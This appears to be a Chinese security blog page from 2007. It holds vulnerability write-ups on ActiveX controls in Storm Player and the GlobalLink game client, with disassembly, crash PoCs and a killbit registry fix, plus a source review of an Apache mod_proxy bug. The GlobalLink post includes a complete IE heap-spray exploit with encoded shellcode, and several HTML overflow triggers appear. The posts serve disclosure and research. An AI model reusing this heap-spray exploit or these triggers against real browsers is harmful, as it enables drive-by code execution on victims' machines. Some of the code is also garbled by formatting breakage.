.text:100024F7                 test    eax, eax
.text: 100024F9                  jz      loc_10002582    ; 如果不是则跳转
          ...   ...   ...   ...
.text:10002582                 lea     eax, [ebp+pszPath]
.text: 10002588                  push     edi              ; 用户输入的串
.text:10002589                 push    eax             
.text: 1000258A                  call     ds:lstrcpyA    ; 串拷贝造成栈溢出

通过以上分析发现,程序在处理非法超长(长度大于MAX_PATH)URL时发生栈溢出。这个函数是个导出函数,暴风影音其他地方如果调用这个函数的话,都可能有问题。于是通过在这个函数下断点发现暴风影音主程序处理URL时也是调用这个函数,同样也有问题。我们构造一个播放列表文件就可以触发:

[Vuln 4]
<?xml version="1.0" encoding="GB2312"?>
<PlayList>
    
<item name="ph4nt0m" time="" path="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"/>
</PlayList>

但是问题还远远没有结束,在mps.dll中,还存在很明显的以下几个漏洞:

IsDVDPath方法:
037EAB8B    56              PUSH ESI
037EAB8C    57              PUSH EDI
037EAB8D    50              PUSH EAX                                 ; src
037EAB8E    8D85 F0FEFFFF   LEA EAX,DWORD PTR SS:[EBP-110]           ; dest
037EAB94    68 30FE8003     PUSH mps.0380FE30                        ; ASCII "%s\video_ts.ifo"
037EAB99    50              PUSH EAX
037EAB9A    E8 F2FA0000     CALL mps.037FA691                        ; copy

[Vuln 5]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.isDVDPath(s);
</script>
</body>
</html>

backImage属性:
03FA6D5B   .  8D9E 0C030000 LEA     EBX,DWORD PTR DS:[ESI+30C]      <===========     
03FA6D84   
.  FF75 F0       PUSH    DWORD PTR SS:[EBP-10]                   ; /String2
03FA6D87   .  8986 08030000 MOV     DWORD PTR DS:[ESI+308],EAX              ; |
03FA6D8D   .  53            PUSH    EBX                                     ; |String1
03FA6D8E   .  FF15 5471FC03 CALL    DWORD PTR DS:[<&KERNEL32.lstrcpyA
>]     ; \lstrcpyA
03FA6D94   >  8B86 34040000 MOV     EAX,DWORD PTR DS:[ESI+434]     
03FA6D9A   .  8D8E 34040000 LEA     ECX,DWORD PTR DS:[ESI+434]     
<===========
03FA6DA0   
.  894D 0C       MOV     DWORD PTR SS:[EBP+C],ECX
03FA6DA3   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]

[Vuln 6]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.backImage 
= s;
</script>
</body>
</html>

titleImage属性:
03EA68E7   .  FF75 F0       PUSH    DWORD PTR SS:[EBP-10]            ; /String2
03EA68EA   .  8903          MOV     DWORD PTR DS:[EBX],EAX           ; |
03EA68EC   .  8D86 A4010000 LEA     EAX,DWORD PTR DS:[ESI+1A4]       ; |
03EA68F2   .  50            PUSH    EAX                              ; |String1
03EA68F3   .  FF15 5471EC03 CALL    DWORD PTR DS:[
<&KERNEL32.lstrcpy>; \lstrcpyA
03EA68F9   >  8B86 C8020000 MOV     EAX,DWORD PTR DS:[ESI+2C8]
03EA68FF   .  8D9E C8020000 LEA     EBX,DWORD PTR DS:[ESI+2C8]
03EA6905   .  8BCB          MOV     ECX,EBX
03EA6907   .  895D 0C       MOV     DWORD PTR SS:[EBP+C],EBX
03EA690A   .  FF50 04       CALL    DWORD PTR DS:[EAX+4]

[Vuln 7]
<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="storm"></object>
<script>
var s = "\x0c";

while (s.length < 1050) {
    s 
+= "\x0c";
}

storm.titleImage 
= s;
</script>
</body>
</html>

针对该控件漏洞的临时解决办法是对该com组建设置killbit,把下面内容保存为.reg文件,双击导入注册表:

[Patch]
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB}]
"Compatibility Flags"=dword:00000400

暴风影音在前段时间宣布脱离了MPC内核,现在大部分代码都是自己写的。我们看到暴风影音在业务迅速发展,版本迅速更新的同时,带来的是对产品安全的忽视与侥幸心理。我以前一直感觉暴风影音会有问题,因为他包含了太多的dll,随便哪个文件格式出问题,就会导致严重漏洞。这些漏洞也许只是冰山的一角,继续挖掘下去,也许会发现更多的东西。快速发展型企业生存不容易,愿“暴风”一路走好。

2007年9月6日 星期四

[Exploit]GlobalLink glitemflat.dll SetClientInfo() 溢出分析

author: void#ph4nt0m.org
publish: 2007-09-06

Text Mode

影响版本:
联众游戏大厅2.7.0.8 (2007年8月16日发布)

未受影响版本:
联众还没补 :-)

简要分析:
先给出PoC代码:

<OBJECT id=target classid=clsid:7D1425D4-E2FC-4A52-BDA9-B9DCAC5EF574></OBJECT>
<SCRIPT>
s
="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
target.SetClientInfo(
1, s, 1
</SCRIPT>

运行PoC后,用ollydbg捕获异常:为读取[41414145]无效地址访问异常,出问题的代码如下:
033D9315  |> \8B86 DC000000 MOV EAX,DWORD PTR DS:[ESI+DC]
033D931B  
|.  85C0          TEST EAX,EAX
033D931D  
|.  74 34         JE SHORT 033D9353
033D931F    
| .  FF70 04         PUSH DWORD PTR DS:[EAX +4]                   ;  /hWnd  <=== 异常处!
033D9322  
|.  FF15 F8523F03 CALL DWORD PTR DS:[<&USER32.IsWindow>]   ; \IsWindow

再看此时的寄存器情况:
EAX 41414141
ECX 
03442070
EDX 006900CD ASCII 
"ox"
EBX 
03442070
ESP 02B9FB2C
EBP 02B9FB48
ESI 03441FD0
EDI 0344210C
EIP 033D931F glitemfl.033D931F

EAX为"AAAA",看来我们可以控制EAX的值,但是到这里我们还没法控制指令流程走向,往下看:
033D9328  |.  85C0          TEST EAX,EAX    
033D932A  
| .  74 0F          JE SHORT 033D933B    ; eax为0,跳到0x033D933B
033D932C  
|.  8B86 DC000000 MOV EAX,DWORD PTR DS:[ESI+DC]
033D9332  
|.  FF70 04       PUSH DWORD PTR DS:[EAX+4]                ; /hWnd
033D9335  
|.  FF15 44533F03 CALL DWORD PTR DS:[<&USER32.DestroyWindo>; \DestroyWindow
033D933B  
|>   8B8E DC000000 MOV ECX,DWORD PTR DS:[ESI+DC]  ; ecx就是我们前面控制的eax的值
033D9341  
|.  85C9          TEST ECX,ECX
033D9343  
| .  74 07           JE SHORT  033D934C   ; 如果ECX不等于0,不跳
033D9345  
|.  8B01          MOV EAX,DWORD PTR DS:[ECX] 
033D9347  
|.  6A 01         PUSH 1            
033D9349  
| .  FF50 0C       CALL DWORD PTR DS:[EAX+C] ;  虚函数调用,可能控制
033D934C  
|>  83A6 DC000000>AND DWORD PTR DS:[ESI+DC],0
033D9353  
|>  8D86 40010000 LEA EAX,DWORD PTR DS:[ESI+140]

从上面的代码流程分析可以看出[ESI+DC]其实放的是一个对象指针,而且可被我们控制.
这个对象的结构大致为:
+00h vmt_ptr
+04h hWnd
+08h ...

要利用成功,必须使得放hWnd的地址可读,且读出的hWnd为无效的窗口句柄,就可控制流程到0x033D933B,然后使得vmt_ptr指向的地址偏移0x0C处的地址指向我们的shellcode,就OK了.

咋看起来,这些条件很难同时满足,但是别忘了我们是在IE里面,祭出heap spray大法,再覆盖对象指针指向0x0c0c0c0c.此时,hWnd为0x0c0c0c0c,基本为无效句柄,如果碰巧是窗口句柄,恭喜你,去买彩票吧;vmt_ptr也是这个值,vmt_ptr+0x0c还是这个值,最终call [eax+C]得到控制.

演示代码: (shellcode为弹出MessageBox, IE6sp2,IE7测试通过)
<OBJECT id=target classid=clsid:7D1425D4-E2FC-4A52-BDA9-B9DCAC5EF574></OBJECT>
<SCRIPT>
document.write(
"<meta http-equiv=\"refresh\" content=\"1" + window.location.href + "\"></meta>");
var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
//just pop up a MessageBox
"%u0eeb%u4b5b%uc933%ubfb1%u3480%ufe0b%ufae2%u05eb%uede8%uffff%u17ff%ufe67%ufefe%u94a1%ua7ce%u759a%u75ff%uf2be%u8e75%u53e2%u9675%u75f6%u9409%ua7fc%uc716%ufefe%u1cfe%u9607%ucccd%ufefe%u8b96%u9b8d%uaa8c%ue801%u166b%ufeda%ufefe%u96ac%u91d0%u998c%u9096%uce8a%u9693%u8edd%uca96%u8896%u9791%u759a%u7322%uf2b8%uadac%uacae%ua801%u01f6%ufaa8%ua8af%u8b75%u75c2%ud08a%ufd86%ua80b%u8875%ufdde%ucd0b%ub737%u53bf%u3bfd%u25cd%u40f1%uc4ee%u8a28%u3ff6%uf935%u24fd%u15be%uc50f%u8be1%ua019%ua075%ufdda%u9823%uf275%u75b5%ue2a0%u23fd%ufa75%ufd75%u553b%ua7a0%u163d%u019c%u0101%u8acc%uf26f%u7187%u9e32%uf494%ue0c6%u3344%u4d2e%u3a4b%u968d%u929b%u9d92%u9a91%ufe9b"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide 
= getSpraySlide(spraySlide,spraySlideSize);
heapBlocks 
= (heapSprayToAddress - 0x100000)/heapBlockSize;
memory 
= new Array();

for (i=0;i<heapBlocks;i++)
{
        memory[i] 
= spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
    
while (spraySlide.length*2<spraySlideSize)
    {
        spraySlide 
+= spraySlide;
    }
    spraySlide 
= spraySlide.substring(0,spraySlideSize/2);
    
return spraySlide;
}

s
="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\x0c\x0c\x0c\x0c"
target.SetClientInfo(
1, s, 1
</SCRIPT>

2007年9月5日 星期三

[Tips]apache mod_proxy简要分析

author: yunshu#ph4nt0m.org
date: 2007-9-6
http://www.ph4nt0m.org

Text Mode

这几天要连续培训5天,下午的时候在会场快闷死了。还好看到mod_proxy的漏洞公告,就下载apache的代码看了看,度过了漫长的听人废话的时间。大致的过程如下:

首先看漏洞公告说的,漏洞出现在ap_proxy_date_canon函数里面,公告这这里,http://secunia.com/advisories/26636/。直接搜索函数名,定位到如下地址:modules/proxy/proxy_util.c的第293行,代码比较长:

代码:

PROXY_DECLARE(const char *)
     ap_proxy_date_canon(apr_pool_t 
*p, const char *x1)
{
    
char *= apr_pstrdup(p, x1);
    
int wk, mday, year, hour, min, sec, mon;
    
char *q, month[4], zone[4], week[4];

    q 
= strchr(x, ',');
    
/* check for RFC 850 date */
    
if (q != NULL && q - x > 3 && q[1== ' ') {
    
*= ' \ 0 ';
    
for (wk = 0; wk < 7; wk++)
        
if (strcmp(x, lwday[wk]) == 0)
        
break;
    
*= ',';
    
if (wk == 7)

        
return x;       /* not a valid date */
    
if (q[4!= '-' || q[8!= '-' || q[11!= ' ' || q[14!= ':' ||
        q[
17!= ':' || strcmp(&q[20], " GMT"!= 0)
        
return x;
    
if (sscanf(q + 2"%u-%3s-%u %u:%u:%u %3s"&mday, month, &year,
           
&hour, &min, &sec, zone) != 7)
        
return x;
    
if (year < 70)
        year 
+= 2000;
    
else
        year 
+= 1900;
    }
    
else {
/* check for acstime() date */
    
if (x[3!= ' ' || x[7!= ' ' || x[10!= ' ' || x[13!= ':' ||
        x[
16!= ':' || x[19!= ' ' || x[24!= ' \ 0 ')
        
return x;
    
if (sscanf(x, "%3s %3s %u %u:%u:%u %u", week, month, &mday, &hour,
           
&min, &sec, &year) != 7)
        
return x;
    
for (wk = 0; wk < 7; wk++)
        
if (strcmp(week, apr_day_snames[wk]) == 0)

        
break;
    
if (wk == 7)

        
return x;
    }

/* check date */
    
for (mon = 0; mon < 12; mon++)
    
if (strcmp(month, apr_month_snames[mon]) == 0)
        
break;
    
if (mon == 12)
    
return x;

    q 
= apr_palloc(p, 30);
    apr_snprintf(q, 
30"%s, %.2d %s %d %.2d:%.2d:%.2d GMT", apr_day_snames[wk],
       mday, apr_month_snames[mon], year, hour, min, sec);
    
return q;
}

粗略的看一遍,没发现啥大的问题。决定先看看apr_pstrdup函数,因为从这上面的代码来看,apr_pstrdup应该是在分配内存。这里有一个小的tips,怎么样搜索到函数的定义。

代码:
grep -r apr_pstrdup * | grep -"=" | grep -"return" | grep -"Binary" | grep -"(apr_pstrdup" | grep -", apr_pstrdup" | grep -";"

首先在当前目录和子目录中查找所有包含这个字符串的行,然后去掉有=的,去掉有return的,去掉二进制文件,去掉前面有(的,去掉前面有,空格的,去掉有;的,剩下的就是函数的定义了。这个查找根据不同的代码风格,灵活的去写。

apr_pstrdup函数是在srclib/apr/strings/apr_strings.c中的第69行定义的,代码很简单,就是拷贝了一下字符串,而且注意了长度,没什么还利用的。只是其中又调用了另外一个函数apr_palloc,利用上面同样的办法,定位到 srclib/apr/memory/unix/apr_pools.c的594行,这个代码比较复杂,我没有仔细去看就判断它没问题。因为这个是很底层的内存池的函数,调用很频繁,如果有安全问题就不会仅仅是ap_proxy_date_canon出现问题了,而是整个apache都会有问题。

这样看来,想在ap_proxy_date_canon中找个可利用的溢出是不可能的了,唯一可能的地方是apr_palloc(p, 30)这里,但是下面用apr_snprintf做了限制,于是就开始看别的方面。

最终发现函数中有这样的片段:

代码:
char *q, month[4], zone[4], week[4];

    q 
= strchr(x, ',');
    
/* check for RFC 850 date */
    
if (q != NULL && q - x > 3 && q[1== ' ') {
    
*= ' \ 0 ';
    
for (wk = 0; wk < 7; wk++)
        
if (strcmp(x, lwday[wk]) == 0)
        
break;
    
*= ',';
    
if (wk == 7)
        
return x;       /* not a valid date */
    
if (q[4!= '-' || q[8!= '-' || q[11!= ' ' || q[14!= ':' ||
        q[
17!= ':' || strcmp(&q[20], " GMT"!= 0)
        
return x;
..

这里取出了时间之后,通过确定,的位置来判断时间的格式,但是后面没有计算q的长度就直接读取q[8],q[11]等等,类似Last-Modified字段出现Wed, 05 Sep这样的字符串,会导致数组读取越界。这个是从代码推测的,我并没有去测试。

现在看看这个函数是如何调用的,先从如何写apache的mod入手。首先申明结构体module AP_MODULE_DECLARE_DATA,这个结构体的最后一个成员指针,指向了该module的注册函数。在注册函数里面关联需要处理的时间,触发功能函数。mod_proxy结构如下:

代码:
static void ap_proxy_http_register_hook(apr_pool_t *p)
{
    proxy_hook_scheme_handler(proxy_http_handler, NULL, NULL, APR_HOOK_FIRST);
    proxy_hook_canon_handler(proxy_http_canon, NULL, NULL, APR_HOOK_FIRST);
}

module AP_MODULE_DECLARE_DATA proxy_http_module 
= {
    STANDARD20_MODULE_STUFF,
    NULL,              
/* create per-directory config structure */
    NULL,              
/* merge per-directory config structures */
    NULL,              
/* create per-server config structure */
    NULL,              
/* merge per-server config structures */
    NULL,              
/* command apr_table_t */
    ap_proxy_http_register_hook
/* register hooks */
};

注册了proxy_http_handler函数和proxy_http_canon函数来处理一些请求。最终有问题函数的调用流程如下:
proxy_http_handler---->ap_proxy_http_process_response---->ap_proxy_read_headers---->process_proxy_header---->ap_proxy_date_canon

这样看来,只是在apache作为正向代理或者反向代理,处理real server返回的数据,在解析http头中的"Date", "Expires", "Last-Modified"等三个字段的时候,遇到畸形的时间结构,mod_proxy模块发生数组访问越界。就攻击而言,反向代理无法攻击,除非能控制到real server。如果是正向代理,到是可以自己伪造一个web服务器,然后设置apache为代理去访问伪造的web server,返回畸形的时间头给apache代理尝试攻击。

总的来说,这个漏洞没多大意义,不过也许是我看错了,呵呵。

2007年9月3日 星期一

[Exploit]联众游戏大厅GlobalLink glItemCom.dll SetInfo()利用分析

author: void#ph4nt0m.org
pub: 2008-09-04
http://www.ph4nt0m.org